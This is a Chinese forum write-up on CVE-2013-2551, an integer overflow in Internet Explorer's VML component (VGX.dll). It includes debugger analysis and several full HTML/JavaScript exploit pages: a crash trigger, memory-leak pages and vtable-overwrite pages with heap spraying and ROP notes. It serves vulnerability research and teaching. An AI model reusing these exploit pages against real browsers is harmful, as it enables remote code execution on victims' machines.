-
-
[原创]Internet Explorer漏洞分析(二)——CVE-2013-2551
-
发表于: 2021-2-24 20:55 1298
-
Internet Explorer漏洞分析(二)——CVE-2013-2551
1 2 3 4 5 | 1. 本文一共 2850 个字 29 张图 预计阅读时间 11 分钟 2. 本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载 3. 本篇文章从CVE - 2013 - 2551 漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞 4. 本篇文章十分适合漏洞安全研究人员进行交流学习 5. 若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽 |
0x01 漏洞信息
0x01.1 漏洞简述
- 编号:CVE-2013-2551
- 类型:整数溢出(Integer Overflow)
- 漏洞影响:远程代码执行(RCE)
- CVSS 2.0:9.3
VGX.dll中COALineDashStyleArray::put_length
函数在处理length数据时未做有效验证,以致length为负数可造成整数溢出,进而实现任意读写。
0x01.2 漏洞影响
Microsoft Internet Explorer 6—10
0x01.3 修复方案
[MS13-037]eafK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6i4K6u0V1N6i4m8V1j5i4c8W2M7#2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6j5Y4g2D9L8r3g2@1K9h3&6K6i4K6u0r3x3U0l9I4x3#2)9J5c8X3#2K6x3e0y4Q4x3X3b7H3x3K6M7`.
0x02 漏洞分析
0x02.1 分析环境
- OS版本:Windows XP Service Pack 3
- Internet Explorer版本:8.0.6001.18702
- VGX.dll版本:8.0.6001.18702
0x02.2 前置知识
VML的全称是Vector Markup Language(矢量可标记语言),其基于XML,矢量图形——意味着图形可以任意放大缩小而不损失图形的质量。VML相当于IE里面的画笔,能实现你所想要的图形,而且结合脚本,可以让图形产生动态的效果。(不仅是IE,Microsoft Office同样支持VML)
使用VML首先要通过<style>
引入:
1 | <style>v\: * { behavior:url( #default#VML); display:inline-block }</style> |
之后声明VML Namespace:
1 | <xml:namespace ns = "urn:schemas-microsoft-com:vml" prefix = "v" / > |
如此便可添加VML元素以绘制图形。
一例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <html> <title> VML Sample < / title> <! - - Include the VML behavior - - > <style>v\: * { behavior:url( #default#VML); display:inline-block }</style> <! - - Declare the VML namespace - - > <xml:namespace ns = "urn:schemas-microsoft-com:vml" prefix = "v" / > <body> <v:shape fillcolor = "green" style = "position:relative;top:1;left:1;width:200;height:200" path = "m 1,1 l 1,200, 200,200, 200,1 x e" > < / v:shape> < / body> < / html> |
Shape是VML最基本的对象,利用它可以画出所有你想要的图形。其主要属性Path可参阅[VML Path Attribute—Microsoft Docs]5d9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6%4K9h3^5K6x3W2)9J5c8Y4k6E0L8q4)9J5c8X3#2K6k6r3&6Q4x3X3c8G2L8X3I4A6L8X3g2Q4x3X3c8$3L8h3I4Q4x3X3c8H3j5i4c8Z5i4K6u0V1j5i4c8@1M7X3W2T1N6i4c8W2i4@1f1K6i4K6R3H3i4K6R3J5
0x02.3 详细分析
使用IE打开poc.html
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | <html> <head> <meta http - equiv = "x-ua-compatible" content = "IE=EmulateIE9" > < / head> <title> POC by VUPEN < / title> <! - - Include the VML behavior - - > <style>v\: * { behavior:url( #default#VML); display:inline-block }</style> <! - - Declare the VML namespace - - > <xml:namespace ns = "urn:schemas-microsoft-com:vml" prefix = "v" / > <script> var rect_array = new Array() var a = new Array() function createRects(){ for (var i = 0 ; i< 0x400 ; i + + ){ rect_array[i] = document.createElement( "v:shape" ) rect_array[i]. id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function crashme(){ var vml1 = document.getElementById( "vml1" ) var shape = document.getElementById( "shape" ) for (var i = 0 ; i< 0x400 ; i + + ){ / / set up the heap a[i] = document.getElementById( "rect" + i.toString())._vgRuntimeStyle; } for (var i = 0 ; i< 0x400 ; i + + ){ a[i].rotation; / / create a COARuntimeStyle if (i = = 0x300 ) { / / allocate an ORG array of size B0h vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } vml1.dashstyle.array.length = 0 - 1 shape.dashstyle.array.length = 0 - 1 for (var i = 0 ; i< 0x400 ; i + + ) { a[i].marginLeft = "a" ; marginLeftAddress = vml1.dashstyle.array.item( 0x2E + 0x16 ); if (marginLeftAddress > 0 ) { try { shape.dashstyle.array.item( 0x2E + 0x16 + i) = 0x4b5f5f4b ; } catch(e) { continue } } } } < / script> <body onload = "createRects();" > <v:oval> <v:stroke id = "vml1" / > < / v:oval> <v:oval> <v:stroke dashstyle = "2 2 2 0 2 2 2 0" id = "shape" / > < / v:oval> < input value = "crash!!!" type = "button" onclick = "crashme();" >< / input > < / body> < / html> |
允许阻止内容后,WinDbg附加进程并运行,单击crash
按钮,崩溃点如下:
使用gflags.exe
为iexplore.exe
开启页堆,WinDbg启动iexplore.exe
,通过.childdbg 1
命令启用子进程调试并运行后,崩溃点如下:
kb
查看调用堆栈:
重新启动iexplore.exe
,加载VGX.dll
完成后于ORG::Get
函数处设断,查看其this
参数:
继续向下分析,可以看到vgx!ORG
对象结构偏移0x10处存储指向dashstyle
数组指针:
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
操作由memecpy
完成:
漏洞成因显然不位于该函数,继续向上回溯至vgx!COALineDashStyleArray::get_item
,其调用vgx!ORG::CElements
获取数组元素个数:
要读取元素下标需大于0xFFFFFFFF
,小于vgx!ORG
对象结构偏移0x04处值(WORD)。若下标合法,之后便会调用vgx!ORG::Get
。可以从上图看到数组Length值0xffff
,该值需跟进COALineDashStyleArray::put_length
函数分析。
首先获取数组原长度,与更改长度进行比较:
此处即为漏洞触发位置,其调用vgx!ORG::CElements
函数获取长度使用movzx eax, word ptr [eax+4]
指令,将长度当作无符号整数处理(而非采用movsx
指令),但跳转语句jge
是基于有符号整数比较的跳转。
大于等于则会调用vgx!ORG::DeleteRange
:
跟进发现其调用MsoDeletePx
:
继续跟进,写入更改长度操作位于MsoFRemovePx
函数内:
如此一来,将数组Length修改为0xFFFF,进而可以实现越界读写——前文分析vgx!COALineDashStyleArray::get_item
函数对应越界读操作,下面看越界写操作。该操作对应vgx!COALineDashStyleArray::put_item
函数,其与get_item
不同之处是调用vgx!ORG::PGet
函数:
该函数用于计算写入位置:
之后写入操作由put_item
中mov [eax], ecx
指令完成:
0x02.4 利用分析
0x02.4a 信息泄露
有两种信息泄露方法,详见下文分析。
_anchorRect
属性
访问_anchorRect
属性时会调用COAShape::get__anchorRect
函数,而该函数会通过malloc
申请0x10字节空间:
该空间用于存储COAReturnedPointsForAnchor
对象:
如此一来,可申请大量空间存储COAReturnedPointsForAnchor
对象,中间放置Dashstyle Array,之后便可访问后续COAReturnedPointsForAnchor
对象虚表以获取VGX.dll基址。但笔者在进行布局时发现其后并非紧接COAReturnedPointsForAnchor
对象:
1 2 3 4 5 6 7 8 9 10 11 12 | for (var i = 0 ; i< 0x1000 ; i + + ){ rect_array[i] = document.createElement( "v:shape" ) rect_array[i]. id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } .... for (var i = 0 ; i< 0x1000 ; i + + ){ a[i] = document.getElementById( "rect" + i.toString())._anchorRect; if (i = = 0x800 ){ vml1.dashstyle = "1 2 3 4" ; } } |
由上图可以看到是COAShape
对象,其虚表相对于VGX.dll基址偏移为0x82a48
。经计算,读取该地址数组下标为0x12,故笔者构造信息泄露POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | <html> <head> <meta http - equiv = "x-ua-compatible" content = "IE=EmulateIE9" > < / head> <title> INFO LEAK < / title> <style>v\: * { behavior:url( #default#VML); display:inline-block }</style> <xml:namespace ns = "urn:schemas-microsoft-com:vml" prefix = "v" / > <body onload = "createRects(); info_leak();" > <v:oval style = "width:100pt;height:50pt" fillcolor = "red" >< / v:oval> <v:oval> <v:stroke id = "vml1" / > < / v:oval> < / body> <script> var rect_array = new Array() var a = new Array() function createRects(){ for (var i = 0 ; i< 0x1000 ; i + + ){ rect_array[i] = document.createElement( "v:shape" ) rect_array[i]. id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function info_leak(){ var vml1 = document.getElementById( "vml1" ) for (var i = 0 ; i< 0x1000 ; i + + ){ a[i] = document.getElementById( "rect" + i.toString())._anchorRect; if (i = = 0x800 ){ vml1.dashstyle = "1 2 3 4" ; } } vml1.dashstyle.array.length = 0 - 1 ; var leak = vml1.dashstyle.array.item( 0x12 ); alert(leak - 0x82a48 ); } < / script> < / html> |
_vgRuntimeStyle
属性
_vgRuntimeStyle.rotation
对应COARuntimeStyle::get_rotation
函数,初次访问会申请0xAC大小空间(COARuntimeStyle::get_rotation
——>CVMLShape::GetRTSInfo
——>CParserTag::GetRTSInfo
):
实际占用空间大小:
那么于其中插入Dashstyle Array大小为0xB0(即44个元素,加上头部占用8字节,恰为0xB8):
之后写_vgRuntimeStyle.marginLeft
,对应COARuntimeStyle::put_marginLeft
函数,由于先前已经申请内存空间,该函数调用CVMLShape::GetRTSInfo
——>CParserTag::GetRTSInfo
时便不会再次申请,而是返回内存地址,写入字符位置相对于该地址偏移为0x58:
而读_vgRuntimeStyle.marginLeft
,对应COARuntimeStyle::get_marginLeft
函数,该函数会将偏移0x58处指针指向内容读取出来:
如此一来,控制0x58处指针内容,可实现任意地址读取。
利用漏洞可读写该地址处内容,下标为0x2E(0x2B对应数组最后一个元素,0x2C-0x2E是头部所占用12字节)+0x16(0x58/4)。完整POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | <html> <head> <meta http - equiv = "x-ua-compatible" content = "IE=EmulateIE9" > < / head> <title> INFO LEAK < / title> <style>v\: * { behavior:url( #default#VML); display:inline-block }</style> <xml:namespace ns = "urn:schemas-microsoft-com:vml" prefix = "v" / > <body onload = "createRects(); exploit();" > <v:oval style = "width:100pt;height:50pt" fillcolor = "red" >< / v:oval> <v:oval> <v:stroke id = "vml1" / > < / v:oval> < / body> <script> var rect_array = new Array() var a = new Array() function createRects(){ for (var i = 0 ; i< 0x400 ; i + + ){ rect_array[i] = document.createElement( "v:shape" ) rect_array[i]. id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById( "vml1" ) for (var i = 0 ; i< 0x400 ; i + + ){ a[i] = document.getElementById( "rect" + i.toString())._vgRuntimeStyle; } for (var i = 0 ; i< 0x400 ; i + + ){ a[i].rotation; if (i = = 0x300 ) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1 ; for (var i = 0 ; i< 0x400 ; i + + ) { a[i].marginLeft = "a" ; marginLeftAddress = vml1.dashstyle.array.item( 0x2E + 0x16 ); if (marginLeftAddress > 0 ) { vml1.dashstyle.array.item( 0x2E + 0x16 ) = 0x7ffe0300 ; var leak = a[i].marginLeft; vml1.dashstyle.array.item( 0x2E + 0x16 ) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; alert( parseInt( leak.charCodeAt( 1 ).toString( 16 ) + leak.charCodeAt( 0 ).toString( 16 ), 16 )); return ; } } } < / script> < / html> |
0x02.4b 劫持EIP
后续覆盖虚表指针劫持EIP部分,可能是由于笔者环境问题,并未完成。重新搭建环境如下:
- OS版本:Windows 7 Service Pack 1 x86
- Internet Explorer版本:8.0.7601.17514
- VGX.dll版本:8.0.7600.16385
该环境下对象布局稍有不同:
可以有两种不同的方式覆盖虚表指针。
vgx!COAReturnedPointsForAnchor::vftable
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | <meta http - equiv = "x-ua-compatible" content = "IE=EmulateIE9" > < / head> <title> < / title> <style>v\: * { behavior:url( #default#VML); display:inline-block }</style> <xml:namespace ns = "urn:schemas-microsoft-com:vml" prefix = "v" / > <script> var rect_array = new Array() var a = new Array() function createRects(){ for (var i = 0 ; i< 0x1000 ; i + + ){ rect_array[i] = document.createElement( "v:shape" ) rect_array[i]. id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById( "vml1" ) for (var i = 0 ; i< 0x1000 ; i + + ){ a[i] = document.getElementById( "rect" + i.toString())._anchorRect; if (i = = 0x800 ) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1 ; vml1.dashstyle.array.item( 0xC ) = 0x0c0c0c0c ; for (var i = 0 ; i< 0x1000 ; i + + ) { delete a[i]; CollectGarbage(); } } < / script> <body onload = "createRects(); exploit();" > <v:oval> <v:stroke id = "vml1" / > < / v:oval> < / body> < / html> |
vgx!COAShape::vftable
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | <meta http - equiv = "x-ua-compatible" content = "IE=EmulateIE9" > < / head> <title> < / title> <style>v\: * { behavior:url( #default#VML); display:inline-block }</style> <xml:namespace ns = "urn:schemas-microsoft-com:vml" prefix = "v" / > <script> var rect_array = new Array() var a = new Array() function createRects(){ for (var i = 0 ; i< 0x1000 ; i + + ){ rect_array[i] = document.createElement( "v:shape" ) rect_array[i]. id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById( "vml1" ) for (var i = 0 ; i< 0x1000 ; i + + ){ a[i] = document.getElementById( "rect" + i.toString())._anchorRect; if (i = = 0x800 ) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1 ; vml1.dashstyle.array.item( 6 ) = 0x0c0c0c0c ; for (var i = 0 ; i< 0x1000 ; i + + ) { delete a[i]; CollectGarbage(); } location. reload (); } < / script> <body onload = "createRects(); exploit();" > <v:oval> <v:stroke id = "vml1" / > < / v:oval> < / body> < / html> |
第一种利用方式若要将栈转移到堆上(没有找到类似xchg ecx,esp
直接交换ECX与ESP的gadget),需要再配合两次漏洞进行越界写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | < / script> <meta http - equiv = "x-ua-compatible" content = "IE=EmulateIE9" > < / head> <title> < / title> <style>v\: * { behavior:url( #default#VML); display:inline-block }</style> <xml:namespace ns = "urn:schemas-microsoft-com:vml" prefix = "v" / > <script> var rect_array = new Array() var a = new Array() function createRects(){ for (var i = 0 ; i< 0x1000 ; i + + ){ rect_array[i] = document.createElement( "v:shape" ) rect_array[i]. id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById( "vml1" ) for (var i = 0 ; i< 0x1000 ; i + + ){ a[i] = document.getElementById( "rect" + i.toString())._anchorRect; if (i = = 0x800 ) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1 ; vml1.dashstyle.array.item( 0xC ) = 0x0c0c0c0c ; vml1.dashstyle.array.item( 0xE ) = 0x0c0c0c0c ; vml1.dashstyle.array.item( 0xF ) = ntdllbase + 0xcb3e3 ; for (var i = 0 ; i< 0x1000 ; i + + ) { delete a[i]; CollectGarbage(); } } < / script> <body onload = "createRects(); exploit();" > <v:oval> <v:stroke id = "vml1" / > < / v:oval> < / body> < / html> |
与之相配合堆上gadgets如下:
而第二种覆盖方式,直接用xchg eax,esp;ret
这样的gadget即可。两种利用方式效果展示:
0x03 参阅链接
- [Vector Markup Language (VML)—Microsoft Docs]138K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6%4K9h3^5K6x3W2)9J5c8Y4k6E0L8q4)9J5c8Y4N6W2j5W2)9J5k6s2N6G2M7X3E0K6K9r3!0H3i4K6u0V1i4K6u0V1i4K6u0V1M7%4m8W2j5%4y4Q4x3X3c8Q4x3X3c8Q4x3X3c8K6N6r3q4F1k6r3q4J5k6s2y4Q4x3X3c8Q4x3X3c8Q4x3X3c8Q4x3X3c8A6L8Y4c8J5L8$3c8#2j5%4c8A6L8$3&6Q4x3X3c8@1L8#2)9J5k6s2k6W2j5%4c8G2M7W2)9J5k6r3#2S2M7X3E0#2M7q4)9J5k6r3I4S2L8X3N6#2j5h3N6W2i4K6u0V1i4K6u0V1N6X3#2D9i4K6u0V1
- [Shape Element (VML)—Microsoft Docs]502K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6%4K9h3^5K6x3W2)9J5c8Y4k6E0L8q4)9J5c8Y4y4Z5j5i4m8W2i4K6u0V1k6h3I4W2L8h3g2F1N6q4)9J5k6q4)9J5k6s2k6E0L8l9`.`.
- [VML Stroke Element—Microsoft Docs]5e2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6%4K9h3^5K6x3W2)9J5c8Y4k6E0L8q4)9J5c8X3#2K6k6r3&6Q4x3X3c8G2L8X3I4A6L8X3g2Q4x3X3c8$3L8h3I4Q4x3X3c8K6N6s2u0G2K9$3g2Q4x3X3c8W2L8r3g2E0k6h3&6@1
- [VML DashStyle Attribute]fc6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6%4K9h3^5K6x3W2)9J5c8Y4k6E0L8q4)9J5c8X3#2K6k6r3&6Q4x3X3c8G2L8X3I4A6L8X3g2Q4x3X3c8$3L8h3I4Q4x3X3c8V1j5i4y4Z5M7%4c8&6L8r3g2Q4x3X3c8S2N6s2c8J5K9h3u0#2N6r3f1`.
- [VML教程—美洲豹]dabK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4b7H3z5o6k6Q4x3X3g2U0L8$3#2Q4x3V1k6U0L8$3c8W2i4K6u0r3N6X3#2D9i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2Z5N6r3#2D9
- [<meta>—W3school ]d3dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2%4x3%4y4U0K9r3!0G2L8q4)9J5k6h3y4G2L8g2)9J5k6h3y4F1i4K6u0r3N6r3q4Y4M7#2)9J5c8Y4c8S2k6#2)9#2k6X3#2W2N6r3q4Q4x3X3g2S2M7%4l9`.
- [VUPEN Blog]29aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4k6h3u0Q4x3X3g2S2M7X3y4Z5K9i4k6W2i4K6u0W2L8%4u0Y4i4K6u0r3N6$3g2T1i4K6u0r3x3U0l9I4x3K6l9$3x3o6R3H3x3U0l9H3y4e0m8Q4x3V1k6Z5N6s2c8H3i4K6y4m8i4K6u0r3i4K6u0r3N6%4N6%4i4K6u0W2N6Y4g2H3k6h3&6Q4x3X3g2U0L8$3#2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9I4x3K6l9#2x3U0u0Q4x3X3g2m8k6s2k6S2L8X3y4W2k6q4)9#2k6V1g2^5M7r3I4G2K9i4c8S2N6r3W2G2L8W2)9#2k6X3!0X3i4K6g2X3d9f1f1I4x3q4)9#2k6W2N6A6L8X3c8G2N6%4x3^5i4K6g2X3f1s2N6F1x3V1!0%4L8W2)9#2k6U0t1H3x3e0y4Q4x3X3g2H3K9s2l9`.
- [Hpasserby Blog]5f0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Z5M7r3q4K6M7$3g2J5j5Y4W2Q4x3X3g2@1L8%4m8Q4x3V1k6H3L8%4y4@1i4K6u0r3k6h3j5J5y4K6t1%4k6o6S2Q4x3X3g2Z5N6r3#2D9